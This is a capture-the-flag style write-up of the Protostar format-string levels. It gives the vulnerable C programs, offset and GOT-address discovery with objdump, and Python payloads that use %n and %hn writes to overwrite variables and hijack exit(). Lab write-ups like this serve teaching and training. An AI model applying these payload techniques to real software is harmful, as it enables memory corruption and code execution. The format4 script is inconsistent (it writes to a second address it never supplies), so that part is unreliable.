here. If you haven’t read part 1 yet, here’s the link.
This exercise can be done with a simple buffer overflow. The source given:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void vuln(char *string)
{
volatile int target;
char buffer[64];
target = 0;
sprintf(buffer, string);
if(target == 0xdeadbeef) {
printf("you have hit the target correctly :)\n");
}
}
int main(int argc, char **argv)
{
vuln(argv[1]);
}
The buffer can overflow to change target.
-----------------------
| buffer[64] | target |
-----------------------
Using this we can craft an input with 64 bytes of padding and 0xdeadbeef.
import struct
payload = "A" * 64
payload += struct.pack("I", 0xdeadbeef)
print(payload)
$ /opt/protostar/bin/format0 `python format0.py`
you have hit the target correctly :)
format1.c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int target;
void vuln(char *string)
{
printf(string);
if(target) {
printf("you have modified the target :)\n");
}
}
int main(int argc, char **argv)
{
vuln(argv[1]);
}
Target is no longer in the same stack frame, however there is a printf call.
argv[1]
is passed to printf
as the format string, this is dangerous as %n
in the format string writes the number of bytes printed to the pointer specified in the call.
So if there’s a way to insert a pointer to target
in the stack frame, arbituary memory writes are possible.
The idea is that string
is in the stack frame, so placing target
’s address in the string and use %n
at it’s offset will change it’s value.
To find the offset I used %x
and adjusted the length until I found 0x41414141
, in this case the offset is 132.
$ /opt/protostar/bin/format1 "`python -c "print 'AAAA' + ' %x' * 132"`"
To find the address of target
, objdump -t
is used:
$ objdump -t /opt/protostar/bin/format1 | grep target
08049638 g O .bss 00000004 target
Having the offset 132
and address 0x08049638
the exploit can be written.
format1.py
import struct
payload = struct.pack("I", 0x08049638)
payload += " %132$08n"
print(payload)
$ /opt/protostar/bin/format1 "`python format1.py`"
8 you have modified the target :)
format2.c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int target;
void vuln()
{
char buffer[512];
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
if(target == 64) {
printf("you have modified the target :)\n");
} else {
printf("target is %d :(\n", target);
}
}
int main(int argc, char **argv)
{
vuln();
}
Using a similar technique the offset is determined to be 4.
$ python -c "print 'AAAA' + '%4\$08x\n'" | /opt/protostar/bin/format2
AAAA41414141
target is 0 :(
target
’s address is 0x080496e4
:
$ objdump -t /opt/protostar/bin/format2 | grep target
080496e4 g O .bss 00000004 target
To write 64 into target, 64 characters must be printed before %n
is invoked.
To do it with a small input size, I used %.64d
where 64 is the length we need to print.
import struct
target_addr = struct.pack("I", 0x080496e4)
offset = 4
target_value = 64
payload = ""
payload += target_addr
payload += "%.{0}d".format(target_value - len(payload))
payload += "%{0}$n".format(offset)
print(payload)
$ python format2.py | /opt/protostar/bin/format2
000000000000000000000000000000000000000000000000000000000512
you have modified the target :)
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int target;
void printbuffer(char *string)
{
printf(string);
}
void vuln()
{
char buffer[512];
fgets(buffer, sizeof(buffer), stdin);
printbuffer(buffer);
if(target == 0x01025544) {
printf("you have modified the target :)\n");
} else {
printf("target is %08x :(\n", target);
}
}
int main(int argc, char **argv)
{
vuln();
}
With the same method before, address of target
is 0x080496f4
and offset is 12.
However, the number is now much larger, 16930116 bytes must be written.
To avoid printing about 16 megabytes of data, target must be overwritten twice.
The first 0x0102 will be written to the upper part (0x080496f4 + 2
) and 0x5544 to the lower part (0x080496f4
).
However we will have to use the h
modifier to write a short integer.
import struct
target_addr1 = struct.pack("I", 0x080496f4 + 2)
target_addr2 = struct.pack("I", 0x080496f4)
offset = 12
target_value1 = 0x0102
target_value2 = 0x5544
payload = ""
payload += target_addr1
payload += target_addr2
padd = len(payload)
payload += "%.{0}d".format(target_value1 - padd)
payload += "%{0}$hn".format(offset)
payload += "%.{0}d".format(target_value2 - target_value1 - 1)
payload += "%{0}$hn".format(offset + 1)
print(payload)
format4.c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int target;
void hello()
{
printf("code execution redirected! you win\n");
_exit(1);
}
void vuln()
{
char buffer[512];
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
exit(1);
}
int main(int argc, char **argv)
{
vuln();
}
There’s a format string vulnerability and we have to redirect code execution.
We can try overwriting the return address but the code doesn’t return, it exits.
At runtime exit()
is loaded from libc, the call references an address in the Global Offset Table (GOT), so we can try to overwrite the address in GOT with hello()
’s address.
The address that we’ll have to overwrite can be found with objdump -TR
.
$ objdump -TR /opt/protostar/bin/format4 | grep exit
00000000 DF *UND* 00000000 GLIBC_2.0 _exit
00000000 DF *UND* 00000000 GLIBC_2.0 exit
08049718 R_386_JUMP_SLOT _exit
08049724 R_386_JUMP_SLOT exit
The address is 0x08049724
, next we need hello()
’s address.
$ objdump -t /opt/protostar/bin/format4 | grep hello
080484b4 g F .text 0000001e hello
hello()
’s address is 0x080484b4
. Then with the same method in previous exercises, offset is found to be 4
Exploiting format4 is similar to format3, it is just a double write.
import struct
target_addr1 = struct.pack("I", 0x08049724)
offset = 4
target_value1 = 0x0804
target_value2 = 0x84b4
payload = ""
payload += target_addr1
padd = len(payload)
payload += "%{0}x".format(target_value1 - padd)
payload += "%{0}hn".format(offset + 1)
payload += "%{0}x".format(target_value2 - target_value1)
payload += "%{0}hn".format(offset)
print(payload)
$ python format4.py | /opt/protostar/bin/format4
code execution redirected! you win
Pwn, rev, and stuff.
By Kai, 2018-04-15